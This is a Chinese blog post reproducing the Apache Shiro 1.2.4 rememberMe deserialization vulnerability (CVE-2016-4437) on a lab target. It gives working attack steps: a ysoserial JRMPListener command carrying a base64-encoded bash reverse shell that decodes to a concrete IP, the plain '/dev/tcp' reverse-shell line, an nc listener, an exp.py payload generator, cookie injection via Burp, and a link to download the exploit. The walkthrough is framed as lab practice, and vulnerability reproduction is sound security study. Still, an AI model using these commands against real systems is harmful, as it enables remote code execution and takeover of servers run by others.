码迷,mamicode.com
首页 > Web开发 > 详细

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现

时间:2020-07-10 21:14:05      阅读:137      评论:0      收藏:0      [点我收藏+]

标签:执行   cve   mic   loading   安全性   jar   靶场   exe   打开   

前言

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

影响版本

Apache Shiro <= 1.2.4

漏洞原理

Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

漏洞特征

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

技术图片

 漏洞复现

1.靶场地址:http://vulfocus.fofa.so/

2.exp下载地址:https://pan.baidu.com/share/init?surl=yH6phKiN3F5RihRXSPe-Qg(提取码pstc)

第一步,打开公网vps,执行如下命令:(注意这里监听的端口为1099)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"

 这里的命令需要使用Java Runtime配置bash编码。
在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
转换命令如下:(这里是反弹shell的端口为1234)

bash -i >& /dev/tcp/VPS公网ip/1234 0>&1

技术图片

最终在VPS上执行的命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80NS4zMi4yNTMuNjQvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

 技术图片

 第二步,使用exp.py生成payload,需要python2的环境,命令如下:

python2 exp.py 公网VPS:1099 

下图为为生成的payload

技术图片

第三步,在VPS上,使用nc监听1234端口,命令如下:

nc -lvvp 1234

技术图片

第四步,通过burp抓取任意的http数据包,在cookie中添加生成的payload

技术图片

 第五步,放过数据包,查看VPS中java监听接口,nc监听结果。

技术图片

技术图片

 

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现

标签:执行   cve   mic   loading   安全性   jar   靶场   exe   打开   

原文地址:https://www.cnblogs.com/cainiaorukengji/p/13221903.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!